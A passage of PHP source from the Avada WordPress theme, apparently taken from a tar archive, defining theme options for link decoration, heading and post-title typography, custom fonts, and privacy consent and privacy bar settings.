[ 'none' => esc_attr__( 'No Style', 'fusion-builder' ), 'overline' => esc_attr__( 'Overline', 'fusion-builder' ), 'underline' => esc_attr__( 'Underline', 'fusion-builder' ), 'line-through' => esc_attr__( 'Line Through', 'fusion-builder' ), 'overline underline' => esc_attr__( 'Overline & Underline', 'fusion-builder' ), ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_line', ], ], ], 'link_decoration_style' => [ 'label' => esc_html__( 'Link Text Decoration Style', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text decoration style of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_style', 'default' => 'solid', 'type' => 'select', 'transport' => 'postMessage', 'choices' => [ 'solid' => esc_attr__( 'Solid', 'fusion-builder' ), 'double' => esc_attr__( 'Double', 'fusion-builder' ), 'dotted' => esc_attr__( 'Dotted', 'fusion-builder' ), 'dashed' => esc_attr__( 'Dashed', 'fusion-builder' ), 'wavy' => esc_attr__( 'Wavy', 'fusion-builder' ), ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line', 'operator' => '!=', 'value' => 'none', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_style', ], ], ], 'link_decoration_thickness' => [ 'label' => esc_html__( 'Link Text Decoration Thickness', 'Avada' ), 'description' => esc_html__( 'Controls the text decoration line thickness of all general links. Can be set in px, em or rem. Ex: 2px.', 'Avada' ), 'id' => 'link_decoration_thickness', 'default' => '1px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em', 'rem' ], ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line', 'operator' => '!=', 'value' => 'none', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_thickness', ], ], ], 'link_decoration_underline_offset' => [ 'label' => esc_html__( 'Link Text Decoration Underline Offset', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text decoration underline offset of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_underline_offset', 'default' => 'auto', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em', 'rem' ], ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line', 'operator' => '!=', 'value' => 'none', ], [ 'setting' => 'link_decoration_line', 'operator' => '!=', 'value' => 'overline', ], [ 'setting' => 'link_decoration_line', 'operator' => '!=', 'value' => 'line-through', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_underline_offset', ], ], ], 'link_decoration_line_hover' => [ 'label' => esc_html__( 'Link Hover Text Decoration Line', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text hover decoration line of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_line_hover', 'default' => 'none', 'type' => 'select', 'transport' => 'postMessage', 'choices' => [ 'none' => esc_attr__( 'No Style', 'fusion-builder' ), 'overline' => esc_attr__( 'Overline', 'fusion-builder' ), 'underline' => esc_attr__( 'Underline', 'fusion-builder' ), 'line-through' => esc_attr__( 'Line Through', 'fusion-builder' ), 'overline underline' => esc_attr__( 'Overline & Underline', 'fusion-builder' ), ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_line_hover', ], ], ], 'link_decoration_style_hover' => [ 'label' => esc_html__( 'Link Hover Text Decoration Style', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text hover decoration style of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_style_hover', 'default' => 'solid', 'type' => 'select', 'transport' => 'postMessage', 'choices' => [ 'solid' => esc_attr__( 'Solid', 'fusion-builder' ), 'double' => esc_attr__( 'Double', 'fusion-builder' ), 'dotted' => esc_attr__( 'Dotted', 'fusion-builder' ), 'dashed' => esc_attr__( 'Dashed', 'fusion-builder' ), 'wavy' => esc_attr__( 'Wavy', 'fusion-builder' ), ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line_hover', 'operator' => '!=', 'value' => 'none', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_style_hover', ], ], ], 'link_decoration_thickness_hover' => [ 'label' => esc_html__( 'Link Hover Text Decoration Thickness', 'Avada' ), 'description' => esc_html__( 'Controls the text hover decoration line thickness of all general links. Can be set in px, em or rem. Ex: 2px.', 'Avada' ), 'id' => 'link_decoration_thickness_hover', 'default' => '1px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em', 'rem' ], ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line_hover', 'operator' => '!=', 'value' => 'none', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_thickness_hover', ], ], ], 'link_decoration_underline_offset_hover' => [ 'label' => esc_html__( 'Link Hover Text Decoration Underline Offset', 'fusion-builder' ), 'description' => esc_html__( 'Controls the text hover decoration underline offset of all general links.', 'fusion-builder' ), 'id' => 'link_decoration_underline_offset_hover', 'default' => 'auto', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em', 'rem' ], ], 'required' => [ [ 'setting' => 'link_decoration', 'operator' => '!=', 'value' => '0', ], [ 'setting' => 'link_decoration_line_hover', 'operator' => '!=', 'value' => 'none', ], [ 'setting' => 'link_decoration_line_hover', 'operator' => '!=', 'value' => 'overline', ], [ 'setting' => 'link_decoration_line_hover', 'operator' => '!=', 'value' => 'line-through', ], ], 'css_vars' => [ [ 'name' => '--awb-link_decoration_underline_offset_hover', ], ], ], ], ], 'headers_typography_section' => [ 'label' => esc_html__( 'Heading Typography', 'Avada' ), 'id' => 'headers_typography_section', 'type' => 'sub-section', 'fields' => [ 'headers_typography_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: This tab contains heading typography options. Additional typography options for specific areas can be found within other tabs. Example: For menu typography options go to the menu tab.', 'Avada' ) . '
', 'id' => 'headers_typography_important_note_info', 'type' => 'custom', ], 'h1_typography' => [ 'id' => 'h1_typography', 'label' => esc_html__( 'H1 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H1 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '64px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '0.67em', 'margin-bottom' => '0.67em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h1_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h1_typography' ], ], [ 'name' => '--h1_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h1_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h1_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h1_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h1_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h1_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h1_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h1_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h1_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'h2_typography' => [ 'id' => 'h2_typography', 'label' => esc_html__( 'H2 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H2 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => 'var(--awb-typography1-font-size)', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '0em', 'margin-bottom' => '1.1em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h2_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h2_typography' ], ], [ 'name' => '--h2_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h2_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h2_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h2_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h2_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h2_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h2_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h2_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h2_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'h3_typography' => [ 'id' => 'h3_typography', 'label' => esc_html__( 'H3 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H3 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '36px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '1em', 'margin-bottom' => '1em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h3_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h3_typography' ], ], [ 'name' => '--h3_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h3_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h3_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h3_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h3_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h3_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h3_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h3_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h3_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'h4_typography' => [ 'id' => 'h4_typography', 'label' => esc_html__( 'H4 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H4 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '24px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '1.33em', 'margin-bottom' => '1.33em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h4_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h4_typography' ], ], [ 'name' => '--h4_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h4_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h4_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h4_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h4_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h4_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h4_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h4_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h4_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'h5_typography' => [ 'id' => 'h5_typography', 'label' => esc_html__( 'H5 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H5 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '20px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '1.67em', 'margin-bottom' => '1.67em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h5_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h5_typography' ], ], [ 'name' => '--h5_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h5_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h5_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h5_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h5_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h5_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h5_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h5_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h5_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'h6_typography' => [ 'id' => 'h6_typography', 'label' => esc_html__( 'H6 Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all H6 headings.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'margin-top' => true, 'margin-bottom' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '16px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'margin-top' => '2.33em', 'margin-bottom' => '2.33em', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--h6_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'h6_typography' ], ], [ 'name' => '--h6_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--h6_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--h6_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--h6_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--h6_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--h6_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--h6_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--h6_typography-margin-top', 'choice' => 'margin-top', ], [ 'name' => '--h6_typography-margin-bottom', 'choice' => 'margin-bottom', ], ], ], 'post_title_typography' => [ 'id' => 'post_title_typography', 'label' => esc_html__( 'Post Title Typography', 'Avada' ), 'description' => __( 'These settings control the typography of all post titles including archive and single posts.
IMPORTANT: On archive pages and in blog elements the linked post titles will use link color.', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '48px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--post_title_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'post_title_typography' ], ], [ 'name' => '--post_title_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--post_title_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--post_title_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--post_title_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--post_title_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--post_title_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--post_title_typography-text-transform', 'choice' => 'text-transform', ], ], ], 'post_titles_extras_typography' => [ 'id' => 'post_titles_extras_typography', 'label' => esc_html__( 'Post Title Extras Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography of single post title extras such as "Comments", "Related Posts or Projects" and "Author Titles"', 'Avada' ), 'type' => 'typography', 'text_transform_no_inherit' => true, 'global' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography1-font-family)', 'font-size' => '20px', 'font-weight' => '400', 'line-height' => 'var(--awb-typography1-line-height)', 'letter-spacing' => 'var(--awb-typography1-letter-spacing)', 'color' => 'var(--awb-color8)', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--post_titles_extras_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'post_titles_extras_typography' ], ], [ 'name' => '--post_titles_extras_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--post_titles_extras_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--post_titles_extras_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--post_titles_extras_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--post_titles_extras_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--post_titles_extras_typography-color', 'choice' => 'color', 'callback' => [ 'sanitize_color', '' ], ], [ 'name' => '--post_titles_extras_typography-text-transform', 'choice' => 'text-transform', ], ], ], ], ], 'custom_webfont_typography_section' => [ 'label' => esc_html__( 'Custom Fonts', 'Avada' ), 'id' => 'custom_webfont_typography_section', 'type' => 'sub-section', 'fields' => [ 'custom_fonts_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Please upload your custom fonts below. Once you upload a custom font, you will have to save your options and reload this page on your browser. After you reload the page you will be able to select your new fonts - they will be available at the top of the fonts-list in the typography controls.', 'Avada' ) . '
', 'id' => 'custom_fonts_info', 'type' => 'custom', ], 'custom_fonts' => [ 'label' => esc_html__( 'Custom Fonts', 'Avada' ), 'description' => esc_html__( 'Upload a custom font to use throughout the site. All files are not necessary but are recommended for full browser support. You can upload as many custom fonts as you need. Click the "Add" button for additional upload boxes.', 'Avada' ), 'id' => 'custom_fonts', 'default' => [], 'type' => 'repeater', 'bind_title' => 'name', 'limit' => 50, // No need to refresh the page. 'transport' => 'postMessage', 'fields' => [ 'name' => [ 'label' => esc_html__( 'Font Name', 'Avada' ), 'description' => esc_html__( 'This will be used in the font-family dropdown.' ), 'id' => 'name', 'default' => '', 'type' => 'text', 'class' => 'avada-custom-font-name', ], 'woff2' => [ 'label' => 'WOFF2', 'id' => 'woff2', 'default' => '', 'type' => 'upload', 'mode' => false, 'preview' => false, ], 'woff' => [ 'label' => 'WOFF', 'id' => 'woff', 'default' => '', 'type' => 'upload', 'mode' => false, 'preview' => false, ], 'ttf' => [ 'label' => 'TTF', 'id' => 'ttf', 'default' => '', 'type' => 'upload', 'mode' => false, 'preview' => false, ], 'eot' => [ 'label' => 'EOT', 'id' => 'eot', 'default' => '', 'type' => 'upload', 'mode' => false, 'preview' => false, ], 'svg' => [ 'label' => 'SVG', 'id' => 'svg', 'default' => '', 'type' => 'upload', 'mode' => false, 'preview' => false, ], ], ], 'adobe_fonts_id' => [ 'label' => esc_html__( 'Adobe Fonts ID', 'Avada' ), 'description' => esc_html__( 'Enter the Adobe Fonts (formerly TypeKit) Web Project ID. You will need to save and reload the page.', 'Avada' ), 'id' => 'adobe_fonts_id', 'type' => 'text', 'default' => '', ], 'adobe_cache_fonts_info' => [ 'label' => esc_html__( 'Adobe Fonts Reset Cache', 'Avada' ), 'description' => esc_html__( 'See the added Adobe Fonts, or press the button to reset Adobe Fonts cache.' ), 'id' => 'adobe_cache_fonts_info', 'default' => '', 'type' => 'raw', 'content' => '' . esc_html__( 'Refresh Adobe Fonts Cache', 'Avada' ) . '', 'full_width' => false, 'transport' => 'postMessage', // No need to refresh the page. 'hide_on_front' => true, ], 'adobe_fonts_notice' => [ 'label' => '', 'description' => $adobe_info, 'id' => 'adobe_fonts_notice', 'type' => 'custom', ], ], ], ], ]; return $sections; } Avada/includes/options/privacy.php000064400000051705152342437700013266 0ustar00privacy_embeds->get_embed_defaults( true ); $embed_defaults = array_keys( $embed_types ); } $sections['privacy'] = [ 'label' => esc_html__( 'Privacy', 'Avada' ), 'id' => 'heading_privacy', 'priority' => 25, 'icon' => 'el-icon-user', 'alt_icon' => 'fusiona-privacy', 'fields' => [ 'privacy_note' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options in this section will help to easier comply with data privacy regulations, like the European GDPR. When the "Privacy Consent" option is used, Avada will create a cookie with the name "privacy_embeds" on user clients browsing your site to manage and store user consent to load the different third party embeds and tracking scripts. You may want to add information about this cookie to your privacy page.', 'Avada' ) . '
', 'id' => 'privacy_note', 'type' => 'custom', ], 'gfonts_load_method' => [ 'id' => 'gfonts_load_method', 'label' => esc_html__( 'Google & Font Awesome Fonts Mode', 'Avada' ), 'description' => esc_html__( 'When set to "Local", the Google and Font Awesome fonts set in Global Options will be downloaded to your server. Set to "CDN" to use the Google and FontAwesome CDNs.', 'Avada' ), 'type' => 'radio-buttonset', 'default' => 'cdn', 'choices' => [ 'local' => esc_html__( 'Local', 'Avada' ), 'cdn' => esc_html__( 'CDN', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'privacy_embeds' => [ 'label' => esc_html__( 'Privacy Consent', 'Avada' ), 'description' => esc_html__( 'Turn on to prevent embeds and scripts from loading until user consent is given.', 'Avada' ), 'id' => 'privacy_embeds', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'privacy_expiry' => [ 'label' => esc_html__( 'Privacy Consent Cookie Expiration', 'Avada' ), 'description' => esc_html__( 'Controls how long the consent cookie should be stored for. In days.', 'Avada' ), 'id' => 'privacy_expiry', 'default' => '30', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '366', 'step' => '1', ], 'required' => [ [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'privacy_embed_types' => [ 'label' => esc_html__( 'Privacy Consent Types', 'Avada' ), 'description' => esc_html__( 'Select the types of embeds which you would like to require consent.', 'Avada' ), 'id' => 'privacy_embed_types', 'default' => $embed_defaults, 'type' => 'select', 'multi' => true, 'choices' => $embed_types, 'required' => [ [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'privacy_embed_defaults' => [ 'label' => esc_html__( 'Privacy Selected Consent Types', 'Avada' ), 'description' => esc_html__( 'Select the types of embeds which you would like to have checked by default. This applies to both the privacy bar and the privacy element.', 'Avada' ), 'id' => 'privacy_embed_defaults', 'default' => [], 'type' => 'select', 'multi' => true, 'choices' => $embed_types, 'required' => [ [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'privacy_bg_color' => [ 'label' => esc_html__( 'Privacy Placeholder Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the privacy placeholders.', 'Avada' ), 'id' => 'privacy_bg_color', 'type' => 'color-alpha', 'default' => 'hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 90%))', 'required' => [ [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--privacy_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_color' => [ 'label' => esc_html__( 'Privacy Placeholder Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color for the embed placeholders.', 'Avada' ), 'id' => 'privacy_color', 'type' => 'color-alpha', 'default' => 'hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 70%))', 'required' => [ [ 'setting' => 'privacy_embeds', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--privacy_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar' => [ 'label' => esc_html__( 'Privacy Bar', 'Avada' ), 'description' => esc_html__( 'Turn on to enable a privacy bar at the bottom of the page.', 'Avada' ), 'id' => 'privacy_bar', 'default' => '0', 'type' => 'switch', ], 'privacy_bar_padding' => [ 'label' => esc_html__( 'Privacy Bar Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left paddings of the privacy bar area.', 'Avada' ), 'id' => 'privacy_bar_padding', 'default' => [ 'top' => '15px', 'bottom' => '15px', 'left' => '30px', 'right' => '30px', ], 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'type' => 'spacing', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_padding-top', 'choice' => 'top', ], [ 'name' => '--privacy_bar_padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--privacy_bar_padding-left', 'choice' => 'left', ], [ 'name' => '--privacy_bar_padding-right', 'choice' => 'right', ], ], ], 'privacy_bar_bg_color' => [ 'label' => esc_html__( 'Privacy Bar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the privacy bar.', 'Avada' ), 'id' => 'privacy_bar_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color8)', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar_font_size' => [ 'label' => esc_html__( 'Privacy Bar Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the privacy bar content.', 'Avada' ), 'id' => 'privacy_bar_font_size', 'default' => '13px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_font_size', ], ], ], 'privacy_bar_color' => [ 'label' => esc_html__( 'Privacy Bar Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color for the privacy bar content.', 'Avada' ), 'id' => 'privacy_bar_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color6)', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar_link_color' => [ 'label' => esc_html__( 'Privacy Bar Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the link color for the privacy bar.', 'Avada' ), 'id' => 'privacy_bar_link_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color2)', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_link_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar_link_hover_color' => [ 'label' => esc_html__( 'Privacy Bar Link Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the link hover color for the privacy bar.', 'Avada' ), 'id' => 'privacy_bar_link_hover_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color4)', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], 'css_vars' => [ [ 'name' => '--privacy_bar_link_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'privacy_bar_text' => [ 'label' => esc_html__( 'Privacy Bar Text', 'Avada' ), 'description' => esc_html__( 'Enter the text which you want to appear on the privacy bar.', 'Avada' ), 'id' => 'privacy_bar_text', 'default' => esc_html__( 'This website uses cookies and third party services.', 'Avada' ), 'type' => 'textarea', 'required' => [ [ 'setting' => 'privacy_bar', 'operator' => '!=', 'value' => '0', ], ], // Partial refresh for the searchform. 